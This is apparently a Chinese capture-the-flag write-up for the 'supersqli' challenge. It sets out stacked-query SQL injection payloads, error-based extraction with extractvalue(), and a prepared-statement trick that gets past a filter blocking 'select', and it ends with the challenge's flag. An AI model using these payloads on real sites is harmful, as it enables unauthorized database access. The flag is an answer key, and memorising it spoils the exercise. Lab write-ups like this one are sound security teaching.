题目很明显,应该就是SQL注入,提交1试试
有回显,那就再提交 1’
报错了,直接查数据库看看
提交1’; select databases --+
what’s up?select,update,where都被过滤了,而且还不区分大小写
那只能1’; show databases --+
有很多数据库,但是还不知道有什么用,继续查表单
1’; show tables --+
有两个表单,那就都看看表单的列
1’;show columns from `1919810931114514` --+
注意这里是 ` ,不是单引号
有flag
1’;show columns from `words` --+
没有什么信息。
再看看这两个表单是在那个数据库里的
这里要用到报错函数,updatexml()被过滤了,那就用extractvalue()函数
1’ and extractvalue(1,concat(1,database())) --+
数据库supersqli
1’ ; use supersqli; show tables – +
所以这两个表单是在数据库supersqli里面的
到最后还是不可避免的要绕过
通过执行多语句把要执行的sql语句拼接起来,就是把select拆开
1’;use supersqli;set @sql=concat(‘se’,‘lect `flag` from `1919810931114514`’);PREPARE sql_query FROM @sql;EXECUTE sql_query;–+
这里涉及到sql预编译,有不会的朋友可以百度一下
拿到flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}